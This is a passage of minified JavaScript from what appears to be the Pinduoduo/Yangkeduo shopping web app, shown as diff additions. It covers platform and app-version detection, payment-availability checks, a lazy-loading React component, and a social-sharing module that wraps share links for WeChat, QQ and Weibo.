n.Android + }, + n.isTinyNativePlatform = function() { + return n.Current === n.PDDTinyAndorid + }, + n.isEmbeddedBrowser = function() { + return n.isWeChatPlatform() || n.isWeiboPlatform() || n.isQQPlatform() + }, + n.isMobileBrowser = function() { + return n.isMobile + }, + n.isAndroidWeChatPlatform = function() { + return n.isWeChatPlatform() && n.WeChatCurrent === n.WeChatAndroid + }, + n.isIOSWeChatPlatform = function() { + return n.isWeChatPlatform() && n.WeChatCurrent === n.WeChatIOS + }, + n.isQQPayAvailable = function() { + return n.isNativeQQPayVersion || n.isQQPlatform() + }, + n.isWeChatPayAvailable = function() { + return n.isNativePlatform() || n.isWeChatPlatform() || n.isQQPlatform() || !n.isEmbeddedBrowser() && n.isMobileBrowser() + }, + n.isAliPayAvailable = function() { + var e = n.getAppVersion(); + return !n.isWeChatPlatform() && !n.isQQPlatform() && (!(n.Current === n.IOS && a.a.compareVersion(e, ""1.0.7"") < 0) && !(n.Current === n.Android && a.a.compareVersion(e, ""1.0.4"") < 0)) + }, + n.isAndroidSupportWeChatSessionImage = function() { + var e = n.getAppVersion(); + return n.Current === n.IOS || n.Current === n.Android && a.a.compareVersion(e, ""3.29.0"") > 0 + }, + n.isAndroidMaskSpinnerVersion = function() { + var e = n.getAppVersion(); + return n.Current === n.Android && a.a.compareVersion(e, ""3.38.0"") >= 0 + }, + n.getAppVersion = function() { + var e = [n.Android, n.PDDTinyAndorid].indexOf(n.Current) > -1 ? n.Android : n.Current, + t = a.a.getValueFromUserAgent(""phh_"" + e + ""_version/""); + return null == t && (t = """"), + t + }, + n.isShowSMAlertPlatform = function() { + return !!this.isIOSWeChatPlatform() || !!(this.isAndroidWeChatPlatform() && a.a.compareVersion(a.a.getWechatVersion(), ""6.5.6"") >= 0) + }, + n.isSupportWechatFloatingWindow = function() { + var e = n.wechatVersion; + return !!e && a.a.compareVersion(e, ""6.6.7"") >= 0 + }, + n.isCallNativeNotification = function() { + if (!n.isNativePlatform()) + return !1; + if (n.Current === n.IOS) + return !0; + if (!n.isSupportCheckNotify) + return !1; + var e = u.a.callNative && u.a.callNative(""AMUserNotification"", ""checkNotify"", {}); + return !!(e && e.data && e.data.is_enabled) + }, + n + } + var d = p(window.navigator.userAgent, location.hostname, s); + d.isIOSWeChatUIWebView = function() { + return d.isIOSWeChatPlatform() && !c.a.isWKWebView + }, + d.isComponentPackageEnv = function() { + return !(location.protocol.indexOf(""http"") > -1) + }, + l = d; + t.b = l + }, + yT0K: function(e, t, n) {}, + ""yt/x"": function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return _ + }), + n.d(t, ""c"", function() { + return y + }), + n.d(t, ""b"", function() { + return w + }); + var r = n(""pVnL""), + a = n.n(r), + i = n(""lwsE""), + o = n.n(i), + s = n(""W8MJ""), + c = n.n(s), + u = n(""a1gu""), + l = n.n(u), + p = n(""Nsbk""), + d = n.n(p), + h = n(""7W2i""), + f = n.n(h), + m = n(""q1tI""), + g = n.n(m), + v = (n(""17x9""), + n(""003K"")), + _ = g.a.createContext(), + b = null; + + function y(e) { + return e === b || e instanceof v.a + } + var w = function(e) { + function t() { + var e, n; + o()(this, t); + for (var r = arguments.length, a = new Array(r), i = 0; i < r; i++) + a[i] = arguments[i]; + return (n = l()(this, (e = d()(t)).call.apply(e, [this].concat(a))))._myRef = g.a.createRef(), + n.state = { + lazyLoader: b + }, + n + } + return f()(t, e), + c()(t, [{ + key: ""componentDidMount"", + value: function() { + this.setState({ + lazyLoader: new v.a({ + container: this._myRef.current, + thresholds: this.props.thresholds + }) + }) + } + }, { + key: ""componentWillUnmount"", + value: function() { + this.state.lazyLoader.destroy() + } + }, { + key: ""render"", + value: function() { + return g.a.createElement(_.Provider, { + value: this.state.lazyLoader + }, g.a.createElement(""div"", a()({ + ref: this._myRef + }, this.props))) + } + }]), + t + }(m.PureComponent); + w.defaultProps = { + thresholds: ""300px"" + } + }, + zRS3: function(e, t, n) { + ""use strict""; + var r = n(""iCc5""), + a = n.n(r), + i = n(""u16y""), + o = n(""b5fu""), + s = n(""tWR7""), + c = { + DEFAULT: 0, + WECHAT_SESSION: 1, + WECHAT_TIMELINE: 2, + WEIBO: 3, + QQ_CHAT_SESSION: 4, + QQ_ZONE: 5, + TENCENT_WEIBO: 6, + WECHAT_SESSION_APP: 7, + WECHAT_TIMELINE_IMAGE: 8, + WECHAT_TIMELINE_IMAGE_WITH_NO_SDK: 9, + WECHAT_SESSION_IMAGE: 10, + QQ_CHAT_SESSION_IMAGE: 11, + QQ_ZONE_IMAGE: 12, + WEIBO_IMAGE: 13, + WECHAT_TIMELINE_IMAGES: 15, + WECHAT_SESSION_TEXT_WITH_NO_SDK: 16, + WECHAT_SESSION_TEXT: 17, + FRIENDS: 9998, + WECHAT_BIG_IMAGE: 9999 + }, + u = { + DEFAULT: 0, + ON_SHARE_TRIGGER: 1, + ON_SHARE_COMPLETED: 2, + SDK_INIT_FAILED: 3, + ON_SHARE_BUTTON_CLICKED: 4, + ON_SHARE_PREPARE: 5, + ON_SDK_READY: 6 + }, + l = n(""xnWZ""), + p = n(""FYw3""), + d = n.n(p), + h = n(""mRg0""), + f = n.n(h), + m = n(""kk8N""), + g = n(""EhKJ""), + v = n(""+qE3""), + _ = { + DEFAULT: 0, + SHARE_PARAMS_NOT_VALID: 1, + SHARE_TYPE_DISABLED: 2, + SHARE_TYPE_NOT_FOUND: 3, + SHARE_ACTION_DISABLE: 4, + SHARE_STATUS_ILLEGAL: 5, + SHARE_NOT_SUPPORTED: 6 + }, + b = function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.errorCode = t.errorCode || _.DEFAULT, + this.message = t.message || """" + }; + b.create = function(e) { + return new b({ + errorCode: e + }) + }, + b.ShareErrorCode = _; + var y = b, + w = n(""14Xm""), + S = n.n(w), + C = n(""D3Ub""), + A = n.n(C), + I = { + DEFAULT: 0, + REDIRECT: 1, + SERVER_DOMAIN: 2, + SERVER_CONTROL: 3, + SERVER_SHORT_URL: 4, + RAW: 5 + }, + k = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + a()(this, e), + this.hostname = """", + this.origin = """", + this.pagename = """", + this.pathname = """", + this.port = 0, + this.protocol = """", + this.query = {}, + this.search = """", + this.hashTag = """", + this.parseURL(t) + } + return e.prototype.parseURL = function(e) { + var t = e.split(""#""), + n = t[0] || """"; + this.hashTag = t[1] || """"; + var r = n.split(""?""), + a = r[0] || """", + i = r[1] || """"; + this.search = ""?"" + i, + this.query = (i.split(""&"") || []).reduce(function(e) { + var t = (arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : """").split(""=""), + n = void 0, + r = void 0; + try { + n = decodeURIComponent(t[0] || """"), + r = decodeURIComponent(t[1] || """") + } catch (e) { + n = """" + } + return n && (e[n] = r), + e + }, {}); + var o = a.match(/^([a-zA-Z]+\:)\/\//) || []; + this.protocol = o[1] || """"; + o[0] && (a = a.replace(o[0], """")); + var s = a.match(/^((:?[a-zA-Z0-9](:?[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6})(\:\d+)?\//) || [], + c = (s[0] || """").replace(/\//g, """").split("":""), + u = c[0], + l = c[1]; + this.hostname = u, + this.port = parseInt(l || 0, 10), + s[0] && (a = a.replace(s[0], """")), + this.protocol && this.hostname && (this.origin = this.protocol + ""//"" + this.hostname), + this.pathname = ""/"" + a.replace(/^\//, """"); + var p = a.match(/\/?(\w+\.html)$/) || []; + this.pagename = p[1] || """" + }, + e + }(), + E = { + WEIXIN_TINY_DOMAIN: ""weixin"", + SHORT_LINK: ""link"" + }, + T = function(e) { + function t(n) { + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.name = ""shareDomainModel"", + r.shareURL = n.shareURL || """", + r.marketActivityID = n.marketActivityID || 0, + r.platform = n.platform || """", + r.retryDisabled = !0, + r.skipDefaultErrorHandling = !0, + r.shareDomainType = n.shareDomainType || E.WEIXIN_TINY_DOMAIN, + r + } + return f()(t, e), + t.prototype.dealPath = function() { + e.prototype.dealPath.call(this), + this.path = ""api/flow/audience/activity/domain/weixin"", + this.shareDomainType === E.SHORT_LINK && (this.path = ""api/flow/audience/activity/domain/short_url"") + }, + t.prototype.dealParams = function() { + e.prototype.dealParams.call(this), + this.params.url = this.shareURL, + this.params.activity = this.marketActivityID, + this.params.platform = this.platform + }, + t.prototype.requestData = function() { + var t; + return (t = e.prototype.requestData).call.apply(t, [this].concat(Array.prototype.slice.call(arguments))).then(function(e) { + return e + }, function() { + return null + }) + }, + t.prototype.process = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + return { + domain: e.domain, + openAppID: e.open_app_id || """", + shortURL: e.short_url || """" + } + }, + t + }(n(""Hxbd"").a); + T.ShareDomainType = E, + T.ShareDomainPlatform = { + WECHAT: ""h5"", + IOS: ""ios"", + ANDROID: ""android"" + }; + var N = T, + x = [c.QQ_CHAT_SESSION, c.QQ_ZONE, c.QQ_CHAT_SESSION_IMAGE, c.QQ_ZONE_IMAGE], + O = function(e) { + return x.indexOf(e) >= 0 + }, + D = ""undefined"" != typeof window ? n(""3I1p"") : {}, + P = N.ShareDomainType, + R = N.ShareDomainPlatform, + M = [""mobile.yangkeduo.com"", ""m.hutaojie.com"", ""panduoduo.yangkeduo.com""], + L = function() { + function e() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, e), + this.title = t.title || """", + this.message = t.message || """", + this.shareURL = t.shareURL || """", + this.targetShareURL = """", + this.realShareURL = """", + this.shareDomain = t.shareDomain || """", + this.thumbnailURL = t.thumbnailURL || """", + this.timelineDomain = t.timelineDomain || """", + this.timelineAppId = t.timelineAppId || """", + this.marketActivityID = t.marketActivityID || 0, + this.urlWrapType = t.urlWrapType || I.DEFAULT + } + return e.prototype.normalize = function() { + var e = A()(S.a.mark(function e(t) { + return S.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + return e.abrupt(""return"", Promise.resolve({})); + case 1: + case ""end"": + return e.stop() + } + }, e, this) + })); + return function(t) { + return e.apply(this, arguments) + } + }(), + e.prototype.setShareURLQueries = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + this.urlWrapType !== I.RAW && (this.shareURL = s.a.buildURL(e, this.shareURL)) + }, + e + }(); + L.getWrappedShareURLInfo = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = e.shareURL || """", + n = e.urlWrapType; + if (n === I.DEFAULT || n === I.RAW) + return Promise.resolve({ + realShareURL: t, + targetShareURL: t + }); + if (e.timelineDomain && e.timelineAppId && n === I.REDIRECT) + return Promise.resolve(L.getRedirectURLInfo(t, e.timelineDomain, e.timelineAppId)); + if (e.timelineDomain && n === I.SERVER_DOMAIN) + return Promise.resolve(L.getEncodedURLInfo(t, e.timelineDomain)); + if (e.marketActivityID && (n === I.SERVER_CONTROL || n === I.SERVER_SHORT_URL)) { + var r = n === I.SERVER_CONTROL ? P.WEIXIN_TINY_DOMAIN : P.SHORT_LINK; + return new Promise(function(n, a) { + var i = t.replace(/^(\w+\:)?\/\//, """"); + new N({ + shareURL: encodeURIComponent(i), + marketActivityID: e.marketActivityID, + platform: L.getShareDomainPlatform(), + shareDomainType: r + }).get().then(function(e) { + if (e) { + if (r === P.WEIXIN_TINY_DOMAIN) { + var a = e.domain, + i = void 0 === a ? """" : a, + o = e.openAppID, + s = void 0 === o ? """" : o; + return void n(L.getRedirectURLInfo(t, i, s)) + } + if (r === P.SHORT_LINK) + return void n({ + useShortURL: !0, + realShareURL: e.shortURL || t, + targetShareURL: t + }) + } + n({ + realShareURL: t, + targetShareURL: t + }) + }) + }) + } + return Promise.resolve({ + realShareURL: t, + targetShareURL: t + }) + }, + L.getShortURL = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = e.shareURL || """"; + e.urlWrapType; + return new Promise(function(n, r) { + var a = t.replace(/^(\w+\:)?\/\//, """"); + new N({ + shareURL: encodeURIComponent(a), + marketActivityID: e.marketActivityID, + platform: L.getShareDomainPlatform(), + shareDomainType: P.SHORT_LINK + }).get().then(function(e) { + n(e ? { + useShortURL: !0, + realShareURL: e.shortURL || t, + targetShareURL: t + } : { + realShareURL: t, + targetShareURL: t + }) + }) + }) + }, + L.getRedirectURLInfo = function(e, t, n) { + var r = new k(e), + a = ""http://"" + t + (r.pathname + r.search) + ""&xxx_state=123""; + return { + realShareURL: o.a.format(""https://open.weixin.qq.com/connect/oauth2/authorize?response_type=code&scope=snsapi_base&appid={0}&redirect_uri={1}"", n, encodeURIComponent(a)), + targetShareURL: a + } + }, + L.getEncodedURLInfo = function(e, t) { + var n = o.a.getRandomString(10), + r = new k(e), + a = r.pathname + r.search, + i = ""http://"" + t + ""/"" + (a = (a = D.Base64.encode(n + ""/"" + a)).replace(/\+/g, ""-"").replace(/\//g, ""_"").replace(/=/g, "","")); + return { + targetShareURL: i, + realShareURL: i + } + }, + L.getShareDomainPlatform = function() { + return l.b.Current === l.b.Android ? R.ANDROID : l.b.Current === l.b.IOS ? R.IOS : R.WECHAT + }, + L.getQQShareURL = function(e, t) { + if (!O(e)) + return t; + var n = new k(t).hostname; + return M.indexOf(n) < 0 && (t = t.replace(""//"" + n, ""//mobile.yangkeduo.com"")), + t + }; + var U = L, + W = y.ShareErrorCode, + B = function(e) { + function t() { + var n = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.ShareEntityClass = U, + r._hasInited = !1, + r.shareEntity = n.shareEntity, + r.shareEntityMap = n.shareEntityMap || {}, + r.disableShareTypes = n.disableShareTypes || [], + r + } + return f()(t, e), + t.prototype.initShare = function() { + this._hasInited || (this._hasInited = !0, + this.setMaxListeners(0), + this._setupShareTypes(), + this._setupPlatformShareSDK()) + }, + t.prototype.isInited = function() { + return this._hasInited + }, + t.prototype.share = function(e) { + return W.SHARE_ACTION_DISABLE + }, + t.prototype._setupShareTypes = function() { + return !0 + }, + t.prototype._setupPlatformShareSDK = function() { + return Promise.resolve() + }, + t.prototype.getShareEntityByShareType = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, + t = arguments[1]; + return e ? this.shareEntityMap[e] || (t ? null : this.shareEntity) : this.shareEntity + }, + t.prototype.refreshShare = function(e, t) { + return e ? (t ? this.shareEntityMap[t] = e : this.shareEntity = e, + this._setupPlatformShareSDK()) : Promise.resolve() + }, + t.prototype.disableShareTypes = function(e) { + if (e && ""number"" == typeof e) + this.disableShareTypes.push(e); + else { + if (""[object Array]"" !== Object.prototype.toString.call(e)) + return; + this.disableShareTypes = e + }!this._setupShareTypes() && this._setupPlatformShareSDK() + }, + t.prototype.createShareEntity = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = arguments[1], + n = arguments[2], + r = this.ShareEntityClass || U; + if (n) + return new r(e); + var a = {}; + if (t) { + var i = this.shareEntityMap[t]; + a = i ? Object.assign({}, i, e) : Object.assign({}, this.shareEntity, e) + } else + a = Object.assign({}, this.shareEntity, e); + return new r(a) + }, + t.prototype.setupNativeShareButton = function(e) { + return W.SHARE_NOT_SUPPORTED + }, + t + }(v.EventEmitter), + G = l.b.getAppVersion, + Q = l.b.compareVersion, + j = null, + q = function e() { + a()(this, e) + }; + q.NATIVE_SAHRE_ERRORS = { + USER_REFUSE: 60005, + USER_CANCEL: 60006 + }, + q.checkShareTypeSupport = function(e) { + var t = !1; + if (""number"" != typeof e) + return !1; + G(); + switch (e) { + case c.WECHAT_SESSION: + case c.WECHAT_TIMELINE: + case c.WECHAT_SESSION_APP: + t = !0; + break; + case c.WEIBO: + t = !1; + break; + case c.QQ_CHAT_SESSION: + case c.QQ_ZONE: + t = q.checkQQShare(); + break; + case c.TENCENT_WEIBO: + t = !1; + break; + case c.WECHAT_TIMELINE_IMAGE: + case c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK: + t = q.checkWeChatTimelineShareImage(); + break; + case c.WECHAT_SESSION_IMAGE: + t = q.checkWeChatSessionShareImage(); + break; + case c.QQ_CHAT_SESSION_IMAGE: + case c.QQ_ZONE_IMAGE: + t = q.checkQQShareImage(); + break; + case c.WEIBO_IMAGE: + t = q.checkWeiboShareImage(); + break; + case c.WECHAT_SESSION_TEXT_WITH_NO_SDK: + case c.WECHAT_SESSION_TEXT: + t = q.checkWeChatSessionShareText(); + break; + case c.FRIENDS: + case c.WECHAT_BIG_IMAGE: + t = !0 + } + return t + }, + q.checkQQShare = function() { + var e = G(); + return (l.b.Current !== l.b.IOS || 0 !== Q(e, ""2.0.8"")) && (l.b.Current === l.b.IOS && Q(e, ""1.1.0"") >= 0 || l.b.Current === l.b.Android && Q(e, ""1.1.0"") >= 0) + }, + q.checkWeiboShare = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""1.1.0"") >= 0 || l.b.Current === l.b.Android && Q(e, ""1.0.8"") >= 0 + }, + q.checkWeChatTimelineShareImage = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""1.1.2"") >= 0 || l.b.Current === l.b.Android && Q(e, ""1.1.2"") >= 0 + }, + q.checkWeChatSessionShareImage = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""3.30.0"") >= 0 || l.b.Current === l.b.Android && Q(e, ""3.30.0"") >= 0 + }, + q.checkWeChatSessionShareText = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""3.53.0"") >= 0 || l.b.Current === l.b.Android && Q(e, ""3.53.0"") >= 0 + }, + q.checkQQShareImage = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""3.35.0"") >= 0 || l.b.Current === l.b.Android && Q(e, ""3.35.0"") >= 0 + }, + q.checkWeiboShareImage = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""3.35.0"") >= 0 || l.b.Current === l.b.Android && Q(e, ""3.35.0"") >= 0 + }, + q.hasNewShareAPI = function() { + var e = G(); + return l.b.Current === l.b.IOS && Q(e, ""2.0.0"") >= 0 + }, + q.getShareModuleName = function() { + return ""AMShare"" + }, + q.DEFAULT_SHARE_ICON_SIZE = 22, + q.DEFAULT_SHARE_ICON = ""data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEIAAABCCAMAAADUivDaAAAAM1BMVEUAAABmZmZmZmZlZWVmZmZmZmZlZWVlZWVoaGhlZWVkZGRmZmZlZWVlZWVlZWVmZmZmZmauFdI/AAAAEHRSTlMAhnjzbtHHEBrfJrGXRzZXUNTSwgAAAPRJREFUWMPt1+sKgzAMBWC71NbLLuf9n3a6sxFYN2vq/gxyEBSFz9pGaLpdOYucuyPJCUtSbheGHo/0Q6swjXhmnNqEqwCYHwfk2iJcFkEuJyDwyi7c+O6V4HhuViFyBkhwVqJNCFwHEq+1CTaB1UCCFWI0BJiXkxJLZkAso2BVK8FaD509SjB/QcQkWBO2iYA1kuLHn5KRbQKvFL8vhT2jUKOs55j3z0WORcUnvVEj9EF6/8JsIzKAd8K6qE444cTviNNBYhrHqZnQOOGEE0444USdyDYhA1Lsfs1dRqrtwTXVPTjTw5y+6EfMwvCtK6pHu6I7B+8m1re+k3UAAAAASUVORK5CYII="", + q.getInstance = function() { + return j || (j = new q), + j + }; + var V = q, + F = 0, + K = 1, + H = 2, + z = 3, + J = ""undefined"" != typeof window; + + function Y() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + return e.match(/^http\:?/) ? e : l.b.isModuleVersion || !J ? ""http://"" + e : location.protocol ? location.protocol + ""//"" + e : void 0 + } + var Z, X = n(""ii9O""), + $ = function(e) { + function t(n) { + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.drawImageOptions = n.drawImageOptions || {}, + r.redirectURI = n.redirectURI || """", + r.miniObjectPath = n.miniObjectPath || """", + r.useWxAppShare = n.useWxAppShare || !1, + r + } + return f()(t, e), + t.prototype.normalize = function() { + var e = A()(S.a.mark(function e(t) { + var n, r, a, i, o = this; + return S.a.wrap(function(e) { + for (;;) + switch (e.prev = e.next) { + case 0: + n = Object.assign({}, this), + r = { + title: n.title, + desc: n.message, + thumbnail: n.thumbnailURL, + share_url: n.shareURL + }, + a = !1, + e.t0 = t, + e.next = e.t0 === c.WECHAT_SESSION ? 6 : e.t0 === c.WECHAT_TIMELINE_IMAGE ? 15 : e.t0 === c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK ? 15 : e.t0 === c.WECHAT_SESSION_IMAGE ? 15 : e.t0 === c.QQ_CHAT_SESSION_IMAGE ? 15 : e.t0 === c.QQ_ZONE_IMAGE ? 15 : e.t0 === c.WEIBO_IMAGE ? 15 : 18; + break; + case 6: + if (!n.miniObjectPath) { + e.next = 10; + break + } + r.mini_object_path = n.miniObjectPath, + e.next = 14; + break; + case 10: + if (!n.useWxAppShare || ""function"" != typeof X.b) { + e.next = 14; + break + } + return e.next = 13, + Object(X.b)(n.shareURL, 1e3); + case 13: + r.mini_object_path = e.sent; + case 14: + return e.abrupt(""break"", 19); + case 15: + return a = !0, + r.options = n.drawImageOptions, + e.abrupt(""break"", 19); + case 18: + return e.abrupt(""break"", 19); + case 19: + if (this.targetShareURL = this.shareURL, + this.realShareURL = this.shareURL, + this.useShortURL = !1, + O(t) && (i = U.getQQShareURL(t, this.shareURL), + r.share_url = i, + r.shareURL = i, + this.realShareURL = i, + this.targetShareURL = i), + t !== c.WECHAT_TIMELINE) { + e.next = 27; + break + } + return e.abrupt(""return"", U.getWrappedShareURLInfo(n).then(function(e) { + var t = e.realShareURL, + n = e.targetShareURL, + a = e.useShortURL; + return o.useShortURL = a, + o.realShareURL = t, + o.targetShareURL = n, + r.share_url = t, + r + })); + case 27: + if (!a || this.urlWrapType !== I.SERVER_SHORT_URL) { + e.next = 31; + break + } + return e.abrupt(""return"", U.getShortURL(n).then(function(e) { + var t = e.realShareURL, + n = e.targetShareURL, + a = e.useShortURL; + return o.useShortURL = a, + o.realShareURL = t, + o.targetShareURL = n, + r.share_url = a ? Y(t) : t, + r + })); + case 31: + return e.abrupt(""return"", Promise.resolve(r)); + case 32: + case ""end"": + return e.stop() + } + }, e, this) + })); + return function(t) { + return e.apply(this, arguments) + } + }(), + t + }(U), + ee = y.ShareErrorCode, + te = V.checkShareTypeSupport, + ne = V.getShareModuleName, + re = V.NATIVE_SAHRE_ERRORS, + ae = Object.keys(c).map(function(e) { + return c[e] + }).filter(function(e) { + return [c.WECHAT_BIG_IMAGE].indexOf(e) <= 0 + }), + ie = function(e) { + function t(n) { + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.ShareEntityClass = $, + r._enableShareTypes = ae.concat(), + r.nativeShareEnv = V.getInstance(), + r + } + return f()(t, e), + t.prototype.share = function(e) { + var t = this.getShareEntityByShareType(e); + return this.validateShareParams(e, t) ? !te(e) || this._enableShareTypes.indexOf(e) < 0 ? ee.SHARE_TYPE_DISABLED : e === c.WECHAT_BIG_IMAGE ? this._nativeShareBigImage(e) : [c.WECHAT_SESSION, c.WECHAT_TIMELINE, c.WEIBO, c.QQ_CHAT_SESSION, c.QQ_ZONE, c.TENCENT_WEIBO, c.WECHAT_SESSION_APP, c.FRIENDS].indexOf(e) >= 0 ? this._nativeShareCard(e) : [c.WECHAT_TIMELINE_IMAGE, c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK, c.WECHAT_SESSION_IMAGE, c.QQ_CHAT_SESSION_IMAGE, c.QQ_ZONE_IMAGE, c.WEIBO_IMAGE].indexOf(e) >= 0 ? this._nativeShareImage(e) : ee.SHARE_TYPE_NOT_FOUND : ee.SHARE_PARAMS_NOT_VALID + }, + t.prototype.validateShareParams = function(e) { + var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}; + return !(e === c.WEIBO && !t.redirectURI) + }, + t.prototype._setupShareTypes = function() {}, + t.prototype.refreshShare = function(t, n) { + var r = e.prototype.refreshShare.call(this, t, n); + return this.emit(u.ON_SHARE_PREPARE, { + shareType: n + }), + r + }, + t.prototype._setupPlatformShareSDK = function() { + return Promise.resolve() + }, + t.prototype._nativeShareCard = function(e) { + var t = this; + this.emit(u.ON_SHARE_TRIGGER, { + shareType: e + }); + var n = ne(), + r = this.getShareEntityByShareType(e); + return r.normalize(e).then(function(a) { + var i = Object.assign({ + type: e, + redirect_uri: r.redirectURI || """", + share_params: a + }); + m.a.callNative(n, ""callNativeShare"", i, function() { + t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: K + }) + }, function(e, n) { + var r = (n = parseInt(n, 10) || 0) === re.USER_CANCEL ? z : H; + t.emit(u.ON_SHARE_COMPLETED, { + shareResultType: r, + nativeShareErrorCode: n + }) + }) + }), + 0 + }, + t.prototype._nativeShareImage = function(e) { + var t = this; + this.emit(u.ON_SHARE_TRIGGER, { + shareType: e + }); + var n = ne(), + r = this.getShareEntityByShareType(e), + a = e; + return r.normalize(e).then(function(r) { + var i = { + type: a, + share_params: r + }, + o = !1; + a === c.WECHAT_TIMELINE_IMAGE_WITH_NO_SDK && (i.complete = function() { + t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + useComplete: !0, + shareResultType: K + }) + }, + o = !0), + m.a.check(n, ""share"", function() { + m.a.callNative(n, ""share"", i, function() { + !o && t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: K + }) + }, function(n, r) { + var a = (r = parseInt(r, 10)) === re.USER_CANCEL ? z : H; + !o && t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: a, + nativeShareErrorCode: r + }) + }) + }, function() { + t.emit(u.ON_SHARE_COMPLETED, { + shareType: e, + shareResultType: H + }) + }) + }), + 0 + }, + t.prototype._nativeShareBigImage = function(e) { + return ee.SHARE_TYPE_DISABLED + }, + t.prototype.setupNativeShareButton = function() { + var e = this, + t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = t.shareIcon, + r = void 0 === n ? V.DEFAULT_SHARE_ICON : n, + a = t.shareIconSize, + i = void 0 === a ? V.DEFAULT_SHARE_ICON_SIZE : a; + return ""string"" != typeof r || ""number"" != typeof i ? ee.SHARE_PARAMS_NOT_VALID : l.b.isNativeTabBarVersion ? (m.a.callNative(""JSUIControl"", ""setRightBarButtons"", { + buttons: [{ + icons: { + normal: r + }, + callback: function() { + e.emit(u.ON_SHARE_BUTTON_CLICKED) + }, + size: i + }] + }), + 0) : V.hasNewShareAPI() ? (m.a.callNative(""JSUIControl"", ""setRightBarButtons"", { + buttons: [{ + icons: { + normal: r + }, + size: i + }] + }, function() { + g.a.register(""onRightBarButtonPress"", function() { + e.emit(u.ON_SHARE_BUTTON_CLICKED) + }) + }), + 0) : ee.SHARE_NOT_SUPPORTED + }, + t + }(B), + oe = function(e) { + function t() { + a()(this, t); + var n = d()(this, e.apply(this, arguments)); + return n.urlWrapType === I.SERVER_CONTROL && (n.urlWrapType = I.REDIRECT), + n + } + return f()(t, e), + t.prototype.normalize = function(e) { + var t = this; + return new Promise(function(n, r) { + var a = Object.assign({}, t), + i = a.shareURL; + t.targetShareURL = t.shareURL, + t.realShareURL = t.shareURL, + t.useShortURL = !1, + e === c.WECHAT_TIMELINE ? U.getWrappedShareURLInfo(a).then(function(e) { + var r = e.realShareURL, + i = e.targetShareURL, + o = e.useShortURL; + t.useShortURL = o, + t.targetShareURL = i, + t.realShareURL = r, + n({ + title: a.title, + desc: a.message, + imgUrl: a.thumbnailURL, + link: r + }) + }, function() {}) : O(e) ? (t.targetShareURL = U.getQQShareURL(e, i), + t.realShareURL = t.targetShareURL, + n({ + title: a.title, + desc: a.message, + imgUrl: a.thumbnailURL, + link: t.realShareURL + })) : n({ + title: a.title, + desc: a.message, + imgUrl: a.thumbnailURL, + link: i + }) + }) + }, + t + }(U), + se = y.ShareErrorCode, + ce = ((Z = {})[c.WECHAT_SESSION] = { + name: ""onMenuShareAppMessage"" + }, + Z[c.WECHAT_TIMELINE] = { + name: ""onMenuShareTimeline"" + }, + Z[c.QQ_CHAT_SESSION] = { + name: ""onMenuShareQQ"" + }, + Z[c.QQ_ZONE] = { + name: ""onMenuShareQZone"" + }, + Z[c.TENCENT_WEIBO] = { + name: ""onMenuShareWeibo"" + }, + Z), + ue = [c.WECHAT_SESSION, c.WECHAT_TIMELINE, c.QQ_CHAT_SESSION, c.QQ_ZONE, c.TENCENT_WEIBO], + le = function(e) { + function t(n) { + a()(this, t); + var r = d()(this, e.call(this, n)); + return r.ShareEntityClass = oe, + r._enableShareTypes = ue.concat(), + r + } + return f()(t, e), + t.prototype.share = function() { + return se.SHARE_ACTION_DISABLE + }, + t.prototype.refreshShare = function(e, t) { + var n = this; + return e ? (t ? this.shareEntityMap[t] = e : (this.shareEntity = e, + this._enableShareTypes.forEach(function(t) { + n.shareEntityMap[t] = n.createShareEntity(e, t) + })), + this._setupPlatformShareSDK()) : Promise.resolve() + }, + t.prototype._setupShareTypes = function() { + var e = this, + t = this._enableShareTypes.length; + return this._enableShareTypes = ue.filter(function(t) { + return e.disableShareTypes.indexOf(t) < 0 + }), + t === this._enableShareTypes.length + }, + t.prototype._setupPlatformShareSDK = function() { + var e = this; + return ""undefined"" == typeof wx ? (this.emit(u.SDK_INIT_FAILED), + Promise.resolve()) : Promise.all(this._enableShareTypes.map(function(t) { + e.refreshWeChatChannelShare(t) + })) + }, + t.prototype.refreshWeChatChannelShare = function(e) { + var t = ce[e]; + return t ? this._setupWeChatChannelShare(e, t.name) : null + }, + t.prototype._setupWeChatChannelShare = function(e) { + var t = this, + n = arguments.length > 1 && void 0 !== arguments[1] ? 